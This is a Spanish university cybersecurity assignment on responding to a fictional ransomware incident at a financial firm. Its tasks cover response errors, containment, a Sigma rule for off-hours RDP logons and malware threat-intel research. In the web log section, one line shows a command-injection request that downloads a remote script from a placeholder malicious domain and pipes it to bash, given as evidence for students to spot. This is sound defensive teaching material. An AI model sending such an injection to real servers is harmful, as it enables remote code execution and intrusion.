TAREA EVALUABLE

Máster en Ciberseguridad

MÓDULO

Introducción a la respuesta a incidentes

PROFESORES

D.ª Sara Concepción Mariscal y D. Alberto Jódar Borrego

Contenido

1. Tarea 1: Evaluación de la respuesta a un incidente (4 puntos) 3
Introducción 3
1.1. Punto evaluable 1 4
1.2. Punto evaluable 2 4
1.3. Punto evaluable 3 4
1.4. Punto evaluable 4 5
2. Tarea 2: Evaluación de la respuesta a un incidente (6 puntos) 5
Introducción 5
2.1. Punto evaluable 1 5
2.2. Punto evaluable 2 6
2.3. Punto evaluable 3 7
3. Entrega de la tarea 8

1. Tarea 1: Evaluación de la respuesta a un incidente (4 puntos)

Introducción

A continuación, se presenta el detalle de un incidente de seguridad y las primeras acciones tomadas por la organización:

La empresa **ucmFinanzas** es una mediana empresa financiera con 150 empleados, sede en Madrid y clientes internacionales. El lunes por la mañana, varios empleados del equipo de desarrollo notifican que no pueden acceder a los archivos de red compartidos. Un mensaje emergente en pantalla indica que los archivos han sido cifrados por un *ransomware* llamado DarkUCM, exigiendo el pago de 2,5 BTC en 72 horas.

La cronología de las acciones realizadas es la siguiente:

Día	Hora	Descripción
0	09:00	El equipo de soporte TI recibe múltiples tickets sobre archivos inaccesibles y pantallas de rescate. Sospechan de un incidente mayor, pero no tienen un procedimiento definido para incidentes de ciberseguridad.
0	09:20	El jefe de TI reinicia manualmente uno de los servidores afectados esperando que eso “solucione el fallo”. Tras reiniciarlo, el *ransomware* se reactiva y comienza a cifrar unidades que hasta entonces no estaban afectadas.
0	09:45	Se decide desconectar de la red los ordenadores de los empleados, pero no los servidores. No se revisan *logs* ni se hace un análisis forense antes de apagar los equipos.
0	10:30	El CEO contacta con la empresa de *software* que da soporte al ERP de la compañía, pensando que puede ser un fallo de su sistema. No se contacta al proveedor de servicios de ciberseguridad ni al CERT interno (que existe, pero no tiene personal dedicado).
0	13:00	El *backup* principal del sistema de archivos se intenta restaurar sin revisar si también está cifrado. El intento de restauración sobrescribe los datos sin éxito.
0	16:00	Un administrador decide contactar directamente con el grupo atacante usando el email que aparece en la nota de rescate, sin coordinarlo ni con dirección ni con el equipo legal.

1	09:00	Se detecta que los *logs* de acceso remoto muestran conexiones inusuales utilizando RDP días antes del incidente, pero ya no hay forma de hacer un análisis de memoria ni obtener artefactos de red porque los sistemas fueron reiniciados o restaurados.

1.1. Punto evaluable 1

Valor: +0,5 puntos

- **Pregunta:** ¿Qué errores ha cometido la empresa en las primeras horas del incidente? Cita al menos cinco.

- **Formato de entrega:** Describa en modo texto libre los errores cometidos y una justificación de por qué es un error basado en el contenido que se ha impartido en la asignatura.

1.2. Punto evaluable 2

Valor: +0,5 puntos

- **Pregunta:** En base a lo que sabemos del incidente, asignar una taxonomía, peligrosidad e impacto en base a los valores posibles estudiados durante la asignatura. Describir por qué se asigna cada valor.

- **Formato de entrega:**

  - Indique los valores concretos para la taxonomía, peligrosidad e impacto.
  - Además, adjunte a cada asignación de valor una explicación en texto libre de por qué se asigna ese valor.

1.3. Punto evaluable 3

Valor: +1,5 puntos

Supongamos que somos parte de un CERT externo que ayuda en la gestión del incidente a **ucmFinanzas**. La empresa nos llama **el día 0 a las 09:00** cuando observa la primera nota de rescate. Supongamos además que **somos el *Incident Handler*** asignado que va a liderar la respuesta al incidente. La información con la que contamos hasta ese momento es lo que nos indica la empresa cuando nos contacta:

> **ucmFinanzas**: "Necesitamos ayuda. Tenemos un *ransomware* que parece que se llama DarkUCM en muchas máquinas de la empresa".

Como *Incident Handler* nos desplazamos a las oficinas de la organización y tenemos la primera sesión de evaluación preliminar.

- **Pregunta:**
  - Describa 5 preguntas clave que deberíamos realizar a la organización donde el objetivo de esas preguntas sea entender el contexto de forma clara y completa del incidente (sacar toda

la información que conocería hasta el momento)
  - Indique por qué ha considerado que esas preguntas son clave para entender el contexto del incidente y como nos puede ayudar a tomar unas primeras medidas de contención.

- **Formato de entrega:** Indique las preguntas y su justificación en texto libre.

1.4. Punto evaluable 4

Valor: +1,5 puntos

Tras la sesión de evaluación preliminar sacamos **en conclusión** los siguientes puntos:

- Parece que más del 50% de activos de la organización está afectado
- Tienen una red plana donde no hay límites de conectividad entre máquinas en red interna
- No saben cuántos, pero hay un buen número de servidores críticos afectados, incluidos muchos controladores de dominio
- La conexión a Internet de la empresa tanto de entrada como de salida está operativa, no se ha realizado ningún corte. La empresa no admite un corte total de la conexión hacia Internet de la organización
- Han comenzado con la recuperación de algunos *backups* en servidores críticos

En base a este escenario inicial:

- **Pregunta:** Como *Incident Handler*, ¿qué medidas iniciales tomarías ante este escenario? (Mínimo 5)

- **Formato de entrega:** Indique las medidas y su justificación en texto libre.

Orientación: Ten en cuenta que en esta fase del incidente lo más importante es contener el daño y evitar que se propague. Piensa en qué se puede hacer si no es posible cortar Internet, pero sí reducir el movimiento lateral. ¿Qué precauciones tomarías antes de restaurar *backups*? ¿Qué tipo de información deberías recopilar para entender mejor el alcance del ataque?

2. Tarea 2: Evaluación de la respuesta a un incidente (6 puntos)

Introducción

En base al incidente sufrido por **ucmFinanzas** descrito en la pregunta anterior, en esta tarea se van a abordar aspectos técnicos sobre la respuesta al incidente.

2.1. Punto evaluable 1

Valor: +1 punto

Como parte del análisis del incidente, el SOC revisa los logs de distintos activos, entre ellos el servidor web corporativo. No existen evidencias claras de cómo comenzó el incidente, pero se ha observado que el servidor realizó conexiones salientes hacia un dominio externo no habitual.

Se proporcionan los siguientes *logs* del servidor web para su análisis:

```
192.168.5.10 - - [12/Jun/2025:03:40:55 +0200] "GET /index.html HTTP/1.1" 200 2048 "-" "Mozilla/5.0
(Windows NT 10.0; Win64; x64)"
192.168.5.11 - - [12/Jun/2025:03:41:01 +0200] "POST /login.php HTTP/1.1" 200 1234 "https://
ucmFinanzas.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)"
192.168.5.12 - - [12/Jun/2025:03:41:05 +0200] "GET /css/styles.css HTTP/1.1" 200 543 "-" "Mozilla/5.0
(Linux; Android 9)"
192.168.5.13 - - [12/Jun/2025:03:41:08 +0200] "GET /images/logo.png HTTP/1.1" 200 9802 "-"
"Mozilla/5.0 (Windows NT 6.1; Win64; x64)"
192.168.5.23 - - [12/Jun/2025:03:41:17 +0200] "GET /cgi-bin/status.sh?user=;wget http://malicious-
domain.com/payload.sh -O- | bash HTTP/1.1" 200 452 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
192.168.5.14 - - [12/Jun/2025:03:41:19 +0200] "GET /about.html HTTP/1.1" 200 1120 "-" "Mozilla/5.0
(iPhone; CPU iPhone OS 14_0 like Mac OS X)"
192.168.5.38 - - [12/Jun/2025:03:42:17 +0200] "POST /dashboard HTTP/1.1" 200 9852 "-" "Mozilla/5.0
(Macintosh; Intel Mac OS X 10_15_7)"
192.168.5.21 - - [12/Jun/2025:03:42:42 +0200] "POST /dashboard HTTP/1.1" 404 4111 "-" "Mozilla/5.0
(Windows NT 10.0; Win64; x64)"
192.168.5.21 - - [12/Jun/2025:03:42:14 +0200] "GET /assets/img/banner.jpg HTTP/1.1" 404 6943 "-"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
192.168.5.49 - - [12/Jun/2025:03:42:59 +0200] "GET /download/file.zip HTTP/1.1" 200 7324 "-"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)"
192.168.5.25 - - [12/Jun/2025:03:42:52 +0200] "GET /dashboard HTTP/1.1" 200 9939 "-" "Mozilla/5.0
(Linux; Android 9)"
192.168.5.19 - - [12/Jun/2025:03:42:18 +0200] "POST /contact.php HTTP/1.1" 500 8327 "-" "Mozilla/5.0
(Linux; Android 9)"
192.168.5.40 - - [12/Jun/2025:03:42:03 +0200] "GET /css/styles.css HTTP/1.1" 200 7835 "-" "Mozilla/5.0
(Windows NT 6.1; Win64; x64)"
192.168.5.41 - - [12/Jun/2025:03:42:26 +0200] "GET /about.html HTTP/1.1" 500 3415 "-" "Mozilla/5.0
(Macintosh; Intel Mac OS X 10_15_7)"
192.168.5.46 - - [12/Jun/2025:03:42:50 +0200] "GET /images/logo.png HTTP/1.1" 404 4802 "-"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
192.168.5.27 - - [12/Jun/2025:03:42:13 +0200] "GET /login.php HTTP/1.1" 404 9958 "-" "Mozilla/5.0
(Macintosh; Intel Mac OS X 10_15_7)"
192.168.5.19 - - [12/Jun/2025:03:42:26 +0200] "GET /js/main.js HTTP/1.1" 200 5691 "-" "Mozilla/5.0
(Linux; Android 9)"
192.168.5.42 - - [12/Jun/2025:03:42:02 +0200] "GET /js/main.js HTTP/1.1" 200 2441 "-" "Mozilla/5.0
(Windows NT 10.0; Win64; x64)"
192.168.5.41 - - [12/Jun/2025:03:42:07 +0200] "GET /search?q=ransomware HTTP/1.1" 500 7662 "-"
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X)"
192.168.5.30 - - [12/Jun/2025:03:42:51 +0200] "GET /search?q=ransomware HTTP/1.1" 200 3829 "-"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)"
192.168.5.25 - - [12/Jun/2025:03:42:05 +0200] "GET /products?id=23 HTTP/1.1" 404 8855 "-" "Mozilla/5.0
(Windows NT 6.1; Win64; x64)"
192.168.5.43 - - [12/Jun/2025:03:42:55 +0200] "POST /api/data HTTP/1.1" 200 3082 "-" "Mozilla/5.0
(Windows NT 10.0; Win64; x64)"
```

- **Pregunta:** ¿Cuál es la entrada que nos demuestra que ha habido explotación de este servidor? Explique además por qué se ha identificado esa entrada, qué tipo de actividad ha realizado el atacante y qué vulnerabilidad ha explotado**.**

- **Formato de entrega:** Copie el *log* concreto que se identifica y realice una explicación en texto libre que indique qué tipo de ataque ha realizado el atacante y qué vulnerabilidad ha explotado**.**

Pista: https://owasp.org/www-community/attacks/Command_Injection

2.2. Punto evaluable 2

Valor: +2,5 puntos

Como analistas de respuesta a incidentes, queremos crear una regla en el SIEM de **ucmFinanzas** para alertar de actividad que pueda seguir realizando el atacante dentro de la organización.

Queremos crear una regla Sigma que detecte inicios de sesión de red o RDP (tipo 3 y 10) en los controladores de dominio. Debido a las labores de mantenimiento por el incidente, queremos solo alertar de inicios de sesión fueras de horario de operación (el horario de operación es de 08:00 a 19:00).

- **Pregunta:** Desarrolle una regla Sigma basada en la actividad que se pretende alertar.
- **Formato de entrega:** Indique el código de la regla Sigma en el recuadro de respuesta.

Pista 1: Para seleccionar el *logsource* podemos acceder a la descripción del evento de seguridad en la documentación de Sigma https://github.com/SigmaHQ/sigma/blob/master/documentation/logsource-guides/windows/service/security.md
Debemos buscar el evento que queremos usar para ver el listado de campos disponibles.

Pista 2: La indicación del horario se realiza añadiendo un *selection* que defina las horas que no son horario estándar (08:00 a 19:00) y añadiéndolo a la *condition* como "*not*".

```
business_hours:
  @timestamp|hour:
    - 8
    - 9
    - 10
    - 11
    - 12
    - 13
    - 14
    - 15
    - 16
    - 17
    - 18
---
condition: … and not business_hours
```

2.3. Punto evaluable 3

Valor: +2,5 puntos

Durante el análisis forense de uno de los equipos afectados por el *ransomware*, perteneciente a un empleado del departamento de compras, se ha identificado una DLL sospechosa. La DLL identificada no corresponde al *ransomware* final, sino que parece estar relacionado a una posible fase previa de la intrusión. El *hash* de la muestra es:

617e31e9f71b365fe69719d3fc980d763e827a4f93d0e776d1587d0bfdb47674

- **Pregunta 1:** Si realizamos una búsqueda de esta muestra en VirusTotal, ¿podrías realizar una recopilación de las direcciones IP contra las que contacta la muestra según el resumen de los resultados de los reportes de las *sandbox*?
- **Pregunta 2:** La investigación en VirusTotal puede descubrirse que este archivo forma parte de

una campaña y, por tanto, podríamos descubrir que posee un nombre propio. ¿sabrías identificar cuál?

- **Pregunta 3:** Si buscamos más información acerca del *malware* (utilizar el nombre propio obtenido en la pregunta anterior) otras fuentes (que no son VirusTotal) asocian la utilización de este malware por primera vez a un actor (*threat actor*) en concreto, ¿podrías indicar cuál?
- **Pregunta 4:** En base a la información obtenida sobre el *malware*, las campañas con las que se ha visto relacionado y los actores que lo utilizan, ¿cuál es el vector de entrada más habitual asociado a este tipo de *malware* y qué podríamos comunicar al equipo forense? Justifique brevemente su respuesta.

Formato de entrega: Indicar la respuesta a las preguntas en modo texto libre en el recuadro de respuesta

3. Entrega de la tarea

El alumno debe subir un **documento PDF** con **base** al **documento PLANTILLA** de respuestas que se ha subido junto a esta documentación con sus respuestas detalladas en el apartado "Respuesta" dentro de la cuadrícula dedicada para ello. El nombre del documento PDF debe ser: "TAREA_ASIGNATURA_DNI_NOMBRE_APELLIDO1_APELLIDO2.pdf".

Cualquier duda o incidencia con la entrega se puede consultar directamente con cualquiera de los profesores a través del foro y chat del Campus de la Universidad.